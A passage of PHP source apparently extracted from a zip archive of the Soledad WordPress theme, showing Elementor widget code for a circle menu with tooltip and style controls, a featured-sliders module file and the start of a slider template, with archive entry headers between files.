						'circle_menu_icon' => [ 'value' => 'fas fa-envelope', 'library' => 'fa-solid' ],
						'iconnav_link'     => [
							'url' => '#',
						],
						'title'            => esc_html__( 'Contact Us', 'soledad' ),
					],
				],
				'title_field' => '{{{ title }}}',
			]
		);

		$this->end_controls_section();

		$this->start_controls_section(
			'section_content_layout',
			[
				'label' => esc_html__( 'General Settings', 'soledad' ),
			]
		);

		$this->add_control(
			'toggle_icon_position',
			[
				'label'   => esc_html__( 'Toggle Icon Position', 'soledad' ),
				'type'    => Controls_Manager::SELECT,
				'default' => '',
				'options' => [ 
					''              => esc_html__( 'Default', 'soledad' ),
					'top-left'      => esc_html__( 'Top Left', 'soledad' ),
					'top-center'    => esc_html__( 'Top Center', 'soledad' ),
					'top-right'     => esc_html__( 'Top Right', 'soledad' ),
					'center'        => esc_html__( 'Center', 'soledad' ),
					'center-left'   => esc_html__( 'Center Left', 'soledad' ),
					'center-right'  => esc_html__( 'Center Right', 'soledad' ),
					'bottom-left'   => esc_html__( 'Bottom Left', 'soledad' ),
					'bottom-center' => esc_html__( 'Bottom Center', 'soledad' ),
					'bottom-right'  => esc_html__( 'Bottom Right', 'soledad' ),
				],
			]
		);

		$this->add_control(
			'toggle_icon_alignment',
			[
				'label'     => esc_html__( 'Alignment', 'soledad' ),
				'type'      => Controls_Manager::CHOOSE,
				'options'   => [
					'flex-start' => [
						'title' => esc_html__( 'Left', 'soledad' ),
						'icon'  => 'eicon-text-align-left',
					],
					'center'     => [
						'title' => esc_html__( 'Center', 'soledad' ),
						'icon'  => 'eicon-text-align-center',
					],
					'flex-end'   => [
						'title' => esc_html__( 'Right', 'soledad' ),
						'icon'  => 'eicon-text-align-right',
					],
				],
				'selectors' => [
					'{{WRAPPER}}.elementor-widget-penci-circle-menu' => 'justify-content: {{VALUE}}; display: flex;',
				],
				'condition' => [
					'toggle_icon_position' => '',
				],
			]
		);

		$this->add_responsive_control(
			'toggle_icon_x_position',
			[
				'label'     => esc_html__( 'Horizontal Offset', 'soledad' ),
				'type'      => Controls_Manager::SLIDER,
				'default'   => [
					'size' => 0,
				],
				'range'     => [
					'px' => [
						'min'  => - 500,
						'step' => 10,
						'max'  => 500,
					],
				],
				'selectors' => [
					'{{WRAPPER}}' => '--ep-circle-menu-h-offset: {{SIZE}}px;',
				],
			]
		);

		$this->add_responsive_control(
			'toggle_icon_y_position',
			[
				'label'     => esc_html__( 'Vertical Offset', 'soledad' ),
				'type'      => Controls_Manager::SLIDER,
				'default'   => [
					'size' => 0,
				],
				'range'     => [
					'px' => [
						'min'  => - 500,
						'step' => 10,
						'max'  => 500,
					],
				],
				'selectors' => [
					'{{WRAPPER}}' => '--ep-circle-menu-v-offset: {{SIZE}}px;',
				],
			]
		);

		$this->add_control(
			'trigger',
			[
				'label'     => esc_html__( 'Trigger', 'soledad' ),
				'type'      => Controls_Manager::SELECT,
				'default'   => 'hover',
				'options'   => [
					'hover' => esc_html__( 'Hover', 'soledad' ),
					'click' => esc_html__( 'Click', 'soledad' ),
				],
				'separator' => 'before',
			]
		);

		$this->add_control(
			'tooltip_on_trigger',
			[
				'label'   => esc_html__( 'Show Tooltip', 'soledad' ),
				'type'    => Controls_Manager::SWITCHER,
				'default' => 'yes',
			]
		);

		$this->end_controls_section();

		$this->start_controls_section(
			'section_content_additional_settings',
			[
				'label' => esc_html__( 'Circle Menu Settings', 'soledad' ),
			]
		);

		$this->add_control(
			'direction',
			[
				'label'   => esc_html__( 'Menu Direction', 'soledad' ),
				'type'    => Controls_Manager::SELECT,
				'default' => 'bottom-right',
				'options' => [
					'top'          => esc_html__( 'Top', 'soledad' ),
					'right'        => esc_html__( 'Right', 'soledad' ),
					'bottom'       => esc_html__( 'Bottom', 'soledad' ),
					'left'         => esc_html__( 'Left', 'soledad' ),
					'full'         => esc_html__( 'Full', 'soledad' ),
					'top-left'     => esc_html__( 'Top-Left', 'soledad' ),
					'top-right'    => esc_html__( 'Top-Right', 'soledad' ),
					'top-half'     => esc_html__( 'Top-Half', 'soledad' ),
					'bottom-left'  => esc_html__( 'Bottom-Left', 'soledad' ),
					'bottom-right' => esc_html__( 'Bottom-Right', 'soledad' ),
					'bottom-half'  => esc_html__( 'Bottom-Half', 'soledad' ),
					'left-half'    => esc_html__( 'Left-Half', 'soledad' ),
					'right-half'   => esc_html__( 'Right-Half', 'soledad' ),
				],
			]
		);

		$this->add_control(
			'item_diameter',
			[
				'label'   => esc_html__( 'Circle Menu Size', 'soledad' ),
				'type'    => Controls_Manager::SLIDER,
				'default' => [
					'size' => 35,
				],
				'range'   => [
					'px' => [
						'min'  => 20,
						'step' => 1,
						'max'  => 50,
					],
				],
			]
		);

		$this->add_control(
			'circle_radius',
			[
				'label'   => esc_html__( 'Circle Menu Distance', 'soledad' ),
				'type'    => Controls_Manager::SLIDER,
				'default' => [
					'size' => 100,
				],
				'range'   => [
					'px' => [
						'min'  => 20,
						'step' => 5,
						'max'  => 500,
					],
				],
			]
		);

		$this->add_control(
			'speed',
			[
				'label'   => esc_html__( 'Speed', 'soledad' ),
				'type'    => Controls_Manager::SLIDER,
				'default' => [
					'size' => 500,
				],
				'range'   => [
					'px' => [
						'min'  => 100,
						'step' => 10,
						'max'  => 1000,
					],
				],
			]
		);

		$this->add_control(
			'delay',
			[
				'label'   => esc_html__( 'Delay', 'soledad' ),
				'type'    => Controls_Manager::SLIDER,
				'default' => [
					'size' => 1000,
				],
				'range'   => [
					'px' => [
						'min'  => 100,
						'step' => 10,
						'max'  => 2000,
					],
				],
			]
		);

		$this->add_control(
			'step_out',
			[
				'label'   => esc_html__( 'Step Out', 'soledad' ),
				'type'    => Controls_Manager::SLIDER,
				'default' => [
					'size' => 20,
				],
				'range'   => [
					'px' => [
						'min'  => - 200,
						'step' => 5,
						'max'  => 200,
					],
				],
			]
		);

		$this->add_control(
			'step_in',
			[
				'label'   => esc_html__( 'Step In', 'soledad' ),
				'type'    => Controls_Manager::SLIDER,
				'default' => [
					'size' => - 20,
				],
				'range'   => [
					'px' => [
						'min'  => - 200,
						'step' => 5,
						'max'  => 200,
					],
				],
			]
		);

		$this->end_controls_section();

		$this->start_controls_section(
			'section_tooltip_settings',
			[
				'label'     => esc_html__( 'Tooltip Settings', 'soledad' ),
				'condition' => [
					'tooltip_on_trigger' => 'yes',
				],
			]
		);

		$this->add_control(
			'tooltip_text',
			[
				'label'       => esc_html__( 'Tooltip Text', 'soledad' ),
				'label_block' => true,
				'type'        => Controls_Manager::TEXT,
				'default'     => esc_html__( 'Click me to show menus', 'soledad' ),
			]
		);

		$this->add_control(
			'tooltip_animation',
			[
				'label'   => esc_html__( 'Animation', 'soledad' ),
				'type'    => Controls_Manager::SELECT,
				'default' => 'shift-toward',
				'options' => [
					'shift-away'   => esc_html__( 'Shift-Away', 'soledad' ),
					'shift-toward' => esc_html__( 'Shift-Toward', 'soledad' ),
					'fade'         => esc_html__( 'Fade', 'soledad' ),
					'scale'        => esc_html__( 'Scale', 'soledad' ),
					'perspective'  => esc_html__( 'Perspective', 'soledad' ),
				],
			]
		);

		$this->add_control(
			'tooltip_x_offset',
			[
				'label'   => esc_html__( 'X Offset', 'soledad' ),
				'type'    => Controls_Manager::SLIDER,
				'default' => [
					'size' => 0,
				],
			]
		);

		$this->add_control(
			'tooltip_y_offset',
			[
				'label'   => esc_html__( 'Y Offset', 'soledad' ),
				'type'    => Controls_Manager::SLIDER,
				'default' => [
					'size' => 0,
				],
			]
		);

		$this->add_control(
			'tooltip_arrow',
			[
				'label' => esc_html__( 'Arrow', 'soledad' ),
				'type'  => Controls_Manager::SWITCHER,
			]
		);

		$this->add_control(
			'tooltip_trigger',
			[
				'label'       => esc_html__( 'Trigger on Click', 'soledad' ),
				'description' => esc_html__( 'Don\'t set yes when you set lightbox image with marker.', 'soledad' ),
				'type'        => Controls_Manager::SWITCHER,
			]
		);

		$this->end_controls_section();

		//Style
		$this->start_controls_section(
			'section_style_toggle_icon',
			[
				'label' => esc_html__( 'Toggle Icon', 'soledad' ),
				'tab'   => Controls_Manager::TAB_STYLE,
			]
		);

		$this->start_controls_tabs( 'tabs_toggle_icon_style' );

		$this->start_controls_tab(
			'tab_toggle_icon_normal',
			[
				'label' => esc_html__( 'Normal', 'soledad' ),
			]
		);

		$this->add_control(
			'toggle_icon_color',
			[
				'label'     => esc_html__( 'Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => [
					'{{WRAPPER}} .penci-circle-menu li.penci-cmenuti'     => 'color: {{VALUE}};',
					'{{WRAPPER}} .penci-circle-menu li.penci-cmenuti svg' => 'fill: {{VALUE}};',
				],
			]
		);

		$this->add_control(
			'toggle_icon_background',
			[
				'label'     => esc_html__( 'Background', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => [
					'{{WRAPPER}} .penci-circle-menu li.penci-cmenuti' => 'background-color: {{VALUE}};',
				],
			]
		);

		$this->add_group_control(
			Group_Control_Border::get_type(),
			[
				'name'        => 'toggle_icon_border',
				'label'       => esc_html__( 'Border', 'soledad' ),
				'placeholder' => '1px',
				'default'     => '1px',
				'selector'    => '{{WRAPPER}} .penci-circle-menu li.penci-cmenuti',
			]
		);

		$this->add_responsive_control(
			'toggle_icon_radius',
			[
				'label'      => esc_html__( 'Border Radius', 'soledad' ),
				'type'       => Controls_Manager::DIMENSIONS,
				'size_units' => [ 'px', '%' ],
				'selectors'  => [
					'{{WRAPPER}} .penci-circle-menu li.penci-cmenuti' => 'border-radius: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}} !important;',
				],
			]
		);

		$this->add_responsive_control(
			'toggle_icon_padding',
			[
				'label'     => esc_html__( 'Padding', 'soledad' ),
				'type'      => Controls_Manager::DIMENSIONS,
				'selectors' => [
					'{{WRAPPER}} .penci-circle-menu li.penci-cmenuti' => 'padding: {{TOP}}px {{RIGHT}}px {{BOTTOM}}px {{LEFT}}px;',
				],
			]
		);

		$this->add_group_control(
			Group_Control_Box_Shadow::get_type(),
			[
				'name'     => 'toggle_icon_shadow',
				'selector' => '{{WRAPPER}} .penci-circle-menu li.penci-cmenuti',
			]
		);

		$this->add_responsive_control(
			'toggle_icon_size',
			[
				'label'     => esc_html__( 'Icon Size', 'soledad' ),
				'type'      => Controls_Manager::SLIDER,
				'range'     => [
					'px' => [
						'min' => 10,
						'max' => 48,
					],
				],
				'default'   => [
					'size' => 16,
				],
				'selectors' => [
					'{{WRAPPER}} .penci-circle-menu li.penci-cmenuti a svg' => 'height: {{SIZE}}px; width: {{SIZE}}px;',
					'{{WRAPPER}} .penci-circle-menu li.penci-cmenuti a i'   => 'font-size: {{SIZE}}px;',
				],
			]
		);

		$this->add_control(
			'transition_function',
			[
				'label'   => esc_html__( 'Transition', 'soledad' ),
				'type'    => Controls_Manager::SELECT,
				'default' => 'ease',
				'options' => [
					'ease'        => esc_html__( 'Ease', 'soledad' ),
					'linear'      => esc_html__( 'Linear', 'soledad' ),
					'ease-in'     => esc_html__( 'Ease-In', 'soledad' ),
					'ease-out'    => esc_html__( 'Ease-Out', 'soledad' ),
					'ease-in-out' => esc_html__( 'Ease-In-Out', 'soledad' ),
				],
			]
		);

		$this->end_controls_tab();

		$this->start_controls_tab(
			'toggle_icon_hover',
			[
				'label' => esc_html__( 'Hover', 'soledad' ),
			]
		);

		$this->add_control(
			'toggle_icon_hover_color',
			[
				'label'     => esc_html__( 'Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => [
					'{{WRAPPER}} .penci-circle-menu li.penci-cmenuti:hover'     => 'color: {{VALUE}};',
					'{{WRAPPER}} .penci-circle-menu li.penci-cmenuti:hover svg' => 'fill: {{VALUE}};',
				],
			]
		);

		$this->add_control(
			'toggle_icon_hover_background',
			[
				'label'     => esc_html__( 'Background Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => [
					'{{WRAPPER}} .penci-circle-menu li.penci-cmenuti:hover' => 'background-color: {{VALUE}};',
				],
			]
		);

		$this->add_control(
			'toggle_icon_hover_border_color',
			[
				'label'     => esc_html__( 'Border Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'condition' => [
					'toggle_icon_border_border!' => '',
				],
				'selectors' => [
					'{{WRAPPER}} .penci-circle-menu li.penci-cmenuti:hover' => 'border-color: {{VALUE}};',
				],
			]
		);

		$this->add_group_control(
			Group_Control_Box_Shadow::get_type(),
			[
				'name'     => 'toggle_icon_shadow_hover',
				'label'    => esc_html__( 'Box Shadow', 'soledad' ),
				'selector' => '{{WRAPPER}} .penci-circle-menu li.penci-cmenuti:hover',
			]
		);

		$this->end_controls_tab();
		$this->end_controls_tabs();
		$this->end_controls_section();

		$this->start_controls_section(
			'section_style_circle_menu_icon',
			[
				'label' => esc_html__( 'Circle Icon', 'soledad' ),
				'tab'   => Controls_Manager::TAB_STYLE,
			]
		);

		$this->start_controls_tabs( 'tabs_circle_menu_icon_style' );

		$this->start_controls_tab(
			'tab_circle_menu_icon_normal',
			[
				'label' => esc_html__( 'Normal', 'soledad' ),
			]
		);

		$this->add_control(
			'circle_menu_icon_color',
			[
				'label'     => esc_html__( 'Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => [
					'{{WRAPPER}} .penci-circle-menu-container .penci-cmenui a'   => 'color: {{VALUE}};',
					'{{WRAPPER}} .penci-circle-menu-container .penci-cmenui svg' => 'fill: {{VALUE}};',
				],
			]
		);

		$this->add_control(
			'circle_menu_icon_background',
			[
				'label'     => esc_html__( 'Background', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => [
					'{{WRAPPER}} .penci-circle-menu li.penci-cmenui' => 'background-color: {{VALUE}};',
				],
			]
		);

		$this->add_group_control(
			Group_Control_Border::get_type(),
			[
				'name'        => 'circle_menu_icon_border',
				'label'       => esc_html__( 'Border', 'soledad' ),
				'placeholder' => '1px',
				'default'     => '1px',
				'selector'    => '{{WRAPPER}} .penci-circle-menu li.penci-cmenui',
			]
		);

		$this->add_responsive_control(
			'circle_menu_icon_radius',
			[
				'label'      => esc_html__( 'Border Radius', 'soledad' ),
				'type'       => Controls_Manager::DIMENSIONS,
				'size_units' => [ 'px', '%' ],
				'selectors'  => [
					'{{WRAPPER}} .penci-circle-menu li.penci-cmenui' => 'border-radius: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}} !important;',
				],
			]
		);

		$this->add_group_control(
			Group_Control_Box_Shadow::get_type(),
			[
				'name'     => 'circle_menu_icon_shadow',
				'selector' => '{{WRAPPER}} .penci-circle-menu li.penci-cmenui',
			]
		);

		$this->add_responsive_control(
			'circle_menu_icon_size',
			[
				'label'     => esc_html__( 'Icon Size', 'soledad' ),
				'type'      => Controls_Manager::SLIDER,
				'range'     => [
					'px' => [
						'min'  => 0,
						'step' => 1,
						'max'  => 50,
					],
				],
				'selectors' => [
					'{{WRAPPER}} .penci-circle-menu li.penci-cmenui' => 'font-size: {{SIZE}}px;',
				],
			]
		);

		$this->end_controls_tab();

		$this->start_controls_tab(
			'circle_menu_icon_hover',
			[
				'label' => esc_html__( 'Hover', 'soledad' ),
			]
		);

		$this->add_control(
			'circle_menu_icon_hover_color',
			[
				'label'     => esc_html__( 'Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => [
					'{{WRAPPER}} .penci-circle-menu-container .penci-cmenui:hover a'   => 'color: {{VALUE}};',
					'{{WRAPPER}} .penci-circle-menu-container .penci-cmenui:hover svg' => 'fill: {{VALUE}};',
				],
			]
		);

		$this->add_control(
			'circle_menu_icon_hover_background',
			[
				'label'     => esc_html__( 'Background Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => [
					'{{WRAPPER}} .penci-circle-menu li:hover' => 'background-color: {{VALUE}};',
				],
			]
		);

		$this->add_control(
			'circle_menu_icon_hover_border_color',
			[
				'label'     => esc_html__( 'Border Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'condition' => [
					'circle_menu_icon_border_border!' => '',
				],
				'selectors' => [
					'{{WRAPPER}} .penci-circle-menu li:hover' => 'border-color: {{VALUE}};',
				],
			]
		);

		$this->end_controls_tab();

		$this->end_controls_tabs();

		$this->end_controls_section();

		$this->start_controls_section(
			'section_style_tooltip',
			[
				'label'     => esc_html__( 'Tooltip', 'soledad' ),
				'tab'       => Controls_Manager::TAB_STYLE,
				'condition' => [
					'tooltip_on_trigger' => 'yes',
				],
			]
		);

		$this->add_responsive_control(
			'tooltip_width',
			[
				'label'       => esc_html__( 'Width', 'soledad' ),
				'type'        => Controls_Manager::SLIDER,
				'size_units'  => [
					'px',
					'em',
				],
				'range'       => [
					'px' => [
						'min' => 50,
						'max' => 500,
					],
				],
				'selectors'   => [
					'.tippy-box[data-theme="penci-cmenu-tippy-{{ID}}"]' => 'max-width: calc({{SIZE}}{{UNIT}} - 10px) !important;',
				],
				'render_type' => 'template',
			]
		);

		$this->add_group_control(
			Group_Control_Typography::get_type(),
			[
				'name'     => 'tooltip_typography',
				'selector' => '.tippy-box[data-theme="penci-cmenu-tippy-{{ID}}"]',
			]
		);

		$this->add_control(
			'tooltip_title_color',
			[
				'label'     => esc_html__( 'Title Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => [
					'.tippy-box[data-theme="penci-cmenu-tippy-{{ID}}"] .penci-cmenu-title' => 'color: {{VALUE}}',
				],
			]
		);

		$this->add_control(
			'tooltip_color',
			[
				'label'     => esc_html__( 'Text Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => [
					'.tippy-box[data-theme="penci-cmenu-tippy-{{ID}}"]' => 'color: {{VALUE}}',
				],
			]
		);

		$this->add_control(
			'tooltip_text_align',
			[
				'label'     => esc_html__( 'Text Alignment', 'soledad' ),
				'type'      => Controls_Manager::CHOOSE,
				'default'   => 'center',
				'options'   => [
					'left'   => [
						'title' => esc_html__( 'Left', 'soledad' ),
						'icon'  => 'eicon-text-align-left',
					],
					'center' => [
						'title' => esc_html__( 'Center', 'soledad' ),
						'icon'  => 'eicon-text-align-center',
					],
					'right'  => [
						'title' => esc_html__( 'Right', 'soledad' ),
						'icon'  => 'eicon-text-align-right',
					],
				],
				'selectors' => [
					'.tippy-box[data-theme="penci-cmenu-tippy-{{ID}}"]' => 'text-align: {{VALUE}};',
				],
			]
		);

		$this->add_group_control(
			Group_Control_Background::get_type(),
			[
				'name'     => 'tooltip_background',
				'selector' => '.tippy-box[data-theme="penci-cmenu-tippy-{{ID}}"], .tippy-box[data-theme="penci-cmenu-tippy-{{ID}}"] .tippy-backdrop',
			]
		);

		$this->add_control(
			'tooltip_arrow_color',
			[
				'label'     => esc_html__( 'Arrow Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => [
					'.tippy-box[data-theme="penci-cmenu-tippy-{{ID}}"] .tippy-arrow' => 'color: {{VALUE}}',
				],
			]
		);

		$this->add_responsive_control(
			'tooltip_padding',
			[
				'label'       => esc_html__( 'Padding', 'soledad' ),
				'type'        => Controls_Manager::DIMENSIONS,
				'size_units'  => [ 'px', '%' ],
				'selectors'   => [
					'.tippy-box[data-theme="penci-cmenu-tippy-{{ID}}"] .tippy-content' => 'padding: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};',
				],
				'render_type' => 'template',
			]
		);

		$this->add_group_control(
			Group_Control_Border::get_type(),
			[
				'name'        => 'tooltip_border',
				'label'       => esc_html__( 'Border', 'soledad' ),
				'placeholder' => '1px',
				'default'     => '1px',
				'selector'    => '.tippy-box[data-theme="penci-cmenu-tippy-{{ID}}"]',
			]
		);

		$this->add_responsive_control(
			'tooltip_border_radius',
			[
				'label'      => esc_html__( 'Border Radius', 'soledad' ),
				'type'       => Controls_Manager::DIMENSIONS,
				'size_units' => [ 'px', '%' ],
				'selectors'  => [
					'.tippy-box[data-theme="penci-cmenu-tippy-{{ID}}"]' => 'border-radius: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};',
				],
			]
		);

		$this->add_group_control(
			Group_Control_Box_Shadow::get_type(),
			[
				'name'     => 'tooltip_box_shadow',
				'selector' => '.tippy-box[data-theme="penci-cmenu-tippy-{{ID}}"]',
			]
		);

		$this->end_controls_section();
	}

	public function render_loop_iconnav_list() {
		$settings = $this->get_settings_for_display();

		foreach ( $settings['circle_menu'] as $index => $list ) :

			$link_key = 'link_' . $index;
			if ( ! empty( $list['iconnav_link']['url'] ) ) {
				$this->add_link_attributes( $link_key, $list['iconnav_link'] );
			}

			$this->add_render_attribute( $link_key, 'class', 'penci-cmenu-position-center', true );

			if ( isset( $settings['tooltip_on_trigger'] ) && $settings['tooltip_on_trigger'] == 'yes' ) {
				$this->add_render_attribute(
					[
						$link_key => [
							'class'              => 'penci-cmenu-tippy-tooltip penci-cmenu-item',
							'data-tippy'         => '',
							'data-tippy-content' => htmlspecialchars( $list['title'], ENT_QUOTES, 'UTF-8' ),
						],
					],
					'',
					'',
					true
				);
				if ( $settings['tooltip_x_offset']['size'] or $settings['tooltip_y_offset']['size'] ) {
					$this->add_render_attribute( $link_key, 'data-tippy-offset', '[' . $settings['tooltip_x_offset']['size'] . ',' . $settings['tooltip_y_offset']['size'] . ']', true );
				}
				if ( 'yes' == $settings['tooltip_arrow'] ) {
					$this->add_render_attribute( $link_key, 'data-tippy-arrow', 'true', true );
				} else {
					$this->add_render_attribute( $link_key, 'data-tippy-arrow', 'false', true );
				}
				if ( $settings['tooltip_animation'] ) {
					$this->add_render_attribute( $link_key, 'data-tippy-animation', $settings['tooltip_animation'], true );
				}
				if ( 'yes' == $settings['tooltip_trigger'] ) {
					$this->add_render_attribute( $link_key, 'data-tippy-trigger', 'click', true );
				}
			}

			if ( ! isset( $settings['icon'] ) && ! Icons_Manager::is_migration_allowed() ) {
				// add old default
				$settings['icon'] = 'fas fa-arrow-right';
			}

			$migrated = isset( $list['__fa4_migrated']['circle_menu_icon'] );
			$is_new   = empty( $list['icon'] ) && Icons_Manager::is_migration_allowed();

			$this->add_render_attribute( 'menu-item', 'class', 'penci-cmenui elementor-repeater-item-' . esc_attr( $list['_id'] ), true );

			?>
            <li <?php $this->print_render_attribute_string( 'menu-item' ); ?>>
                <a <?php $this->print_render_attribute_string( $link_key ); ?>>
					<?php if ( $list['circle_menu_icon']['value'] ) : ?>
                        <span>

							<?php if ( $is_new || $migrated ) :
								Icons_Manager::render_icon( $list['circle_menu_icon'], [
									'aria-hidden' => 'true',
									'class'       => 'fa-fw'
								] );
							else : ?>
                                <i class="<?php echo esc_attr( $list['icon'] ); ?>" aria-hidden="true"></i>
							<?php endif; ?>

						</span>

					<?php endif; ?>
                </a>
            </li>
		<?php
		endforeach;
	}

	protected function render() {
		$settings    = $this->get_settings_for_display();
		$id          = 'penci-circle-menu-' . $this->get_id();
		$toggle_icon = ( $settings['toggle_icon'] ) ?: 'plus';

		$this->add_render_attribute(
			[
				'circle-menu-container' => [
					'id'    => [
						esc_attr( $id ),
					],
					'class' => [
						'penci-circle-menu-container',
						$settings['toggle_icon_position'] ? 'penci-cmenu-position-fixed penci-cmenu-position-' . $settings['toggle_icon_position'] : '',
					],
				],
			]
		);

		if ( 'custom' == $settings['toggle_icon'] ) {
			$this->add_render_attribute(
				[
					'toggle-icon' => [
						'href'  => [
							'javascript:void(0)',
						],
						'class' => [
							'penci-cmenu-icon',
						],
					],
				]
			);
		} else {
			$this->add_render_attribute(
				[
					'toggle-icon' => [
						'href'  => [
							'javascript:void(0)',
						],
						'class' => [
							'penci-cmenu-icon',
						],
					],
				]
			);
		}

		if ( isset( $settings['tooltip_on_trigger'] ) && ! empty( $settings['tooltip_text'] ) && $settings['tooltip_on_trigger'] == 'yes' ) {
			$this->add_render_attribute(
				[
					'toggle-icon' => [
						'class'              => 'penci-cmenu-tippy-tooltip',
						'data-tippy'         => '',
						'data-tippy-content' => htmlspecialchars( $settings['tooltip_text'], ENT_QUOTES, 'UTF-8' ),
					],
				]
			);
			if ( $settings['tooltip_x_offset']['size'] or $settings['tooltip_y_offset']['size'] ) {
				$this->add_render_attribute( 'toggle-icon', 'data-tippy-offset', '[' . $settings['tooltip_x_offset']['size'] . ',' . $settings['tooltip_y_offset']['size'] . ']', true );
			}
			if ( 'yes' == $settings['tooltip_arrow'] ) {
				$this->add_render_attribute( 'toggle-icon', 'data-tippy-arrow', 'true', true );
			} else {
				$this->add_render_attribute( 'toggle-icon', 'data-tippy-arrow', 'false', true );
			}
			if ( $settings['tooltip_animation'] ) {
				$this->add_render_attribute( 'toggle-icon', 'data-tippy-animation', $settings['tooltip_animation'], true );
			}
			if ( 'yes' == $settings['tooltip_trigger'] ) {
				$this->add_render_attribute( 'toggle-icon', 'data-tippy-trigger', 'click', true );
			}
		}

		$circle_menu_settings = wp_json_encode(
			array_filter( [
				"direction"           => $settings["direction"],
				"item_diameter"       => $settings["item_diameter"]["size"],
				"circle_radius"       => $settings["circle_radius"]["size"],
				"speed"               => $settings["speed"]["size"],
				"delay"               => $settings["delay"]["size"],
				"step_out"            => $settings["step_out"]["size"],
				"step_in"             => $settings["step_in"]["size"],
				"trigger"             => $settings["trigger"],
				"transition_function" => $settings["transition_function"],
			] )
		);

		$this->add_render_attribute( 'circle-menu-settings', 'data-settings', $circle_menu_settings );

		?>
        <div <?php $this->print_render_attribute_string( 'circle-menu-container' ); ?>>
            <ul class="penci-circle-menu" <?php $this->print_render_attribute_string( 'circle-menu-settings' ); ?>>
                <li class="penci-cmenuti">

					<?php if ( 'custom' == $settings['toggle_icon'] ) { ?>
                        <a <?php $this->print_render_attribute_string( 'toggle-icon' ); ?>>
							<?php Icons_Manager::render_icon( $settings['custom_icon'], [ 'aria-hidden' => 'true' ] ); ?>
                        </a>
					<?php } else { ?>
                        <a <?php $this->print_render_attribute_string( 'toggle-icon' ); ?>>
                            <i class="fas fa-<?php echo esc_attr( $toggle_icon ); ?>" aria-hidden="true"></i>
                        </a>
					<?php } ?>

                </li>
				<?php $this->render_loop_iconnav_list(); ?>
            </ul>
        </div>
		<?php
	}
}PK     1w\S+  +  3  elementor/modules/penci-featured-sliders/module.phpnu [        <?php
namespace PenciSoledadElementor\Modules\PenciFeaturedSliders;

use PenciSoledadElementor\Base\Module_Base;

class Module extends Module_Base {

	public function get_name() {
		return 'penci-featured-sliders';
	}

	public function get_widgets() {
		return array( 'PenciFeaturedSliders' );
	}
}
PK     1w\>    =  elementor/modules/penci-featured-sliders/widgets/style-20.phpnu [        <?php
/**
 * Template part for Slider Style 20
 */

$post_thumb_size  = ! empty( $post_thumb_size ) ? $post_thumb_size : 'penci-thumb';
$bpost_thumb_size = ! empty( $bpost_thumb_size ) ? $bpost_thumb_size : 'penci-magazine-slider';
$penci_is_mobile  = penci_is_mobile();
?>
<?php if ( $feat_query->have_posts() ) : ?>
    <div class="item swiper-slide">
        <div class="wrapper-item wrapper-item-classess">
			<?php $i   = 1;
			$num_posts = $feat_query->post_count;
			while ( $feat_query->have_posts() ) : $feat_query->the_post();
				$thumb = $post_thumb_size;
				$sizep = 'small';
				if ( $i % 5 == 1 || $i % 5 == 2 ): $thumb = $bpost_thumb_size;
					$sizep                                = 'normal'; endif;

				$thumb_mobile = ! empty( $post_thumb_size_mobile ) ? $post_thumb_size_mobile : 'penci-masonry-thumb';

				?>
                <div class="penci-item-mag penci-item-<?php echo( $i % 5 ); ?> <?php echo( ( $i % 5 == 1 || $i % 5 == 2 ) ? 'penci-pitem-big' : 'penci-pitem-small' ) ?>">
					<?php do_action( 'penci_bookmark_post', get_the_ID(), $sizep ); ?>
					<?php if ( ! $disable_lazyload ) { ?>
                        <a class="penci-image-holder <?php echo penci_classes_slider_lazy(); ?>"
                           data-bgset="<?php echo penci_image_srcset( get_the_ID(), $thumb, $thumb_mobile ); ?>"
                           href="<?php the_permalink(); ?>"
                           title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"></a>
					<?php } else { ?>
                        <a class="penci-image-holder"
                           style="background-image: url('<?php echo penci_get_featured_image_size( get_the_ID(), $penci_is_mobile ? $thumb_mobile : $thumb ); ?>');"
                           href="<?php the_permalink(); ?>"
                           title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"></a>
					<?php } ?>

                    <div class="penci-slide-overlay penci-slider6-overlay">
                        <a class="overlay-link"
                           aria-label="<?php echo wp_strip_all_tags( get_the_title() ); ?>"
                           href="<?php the_permalink(); ?>"></a>
						<?php if ( ! $hide_format_icons && ( has_post_format( 'video' ) || has_post_format( 'audio' ) || has_post_format( 'link' ) || has_post_format( 'quote' ) || has_post_format( 'gallery' ) ) ): ?>
                            <a href="<?php the_permalink(); ?>"
                               class="overlay-icon-format <?php if ( $i % 5 == 1 || $i % 5 == 2 ): echo ' lager-size-icon'; endif; ?>">
								<?php if ( has_post_format( 'video' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-play' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'audio' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-music' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'link' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-link' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'quote' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-quote-left' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'gallery' ) ) : ?>
									<?php penci_fawesome_icon( 'far fa-image' ); ?>
								<?php endif; ?>
                            </a>
						<?php endif; ?>
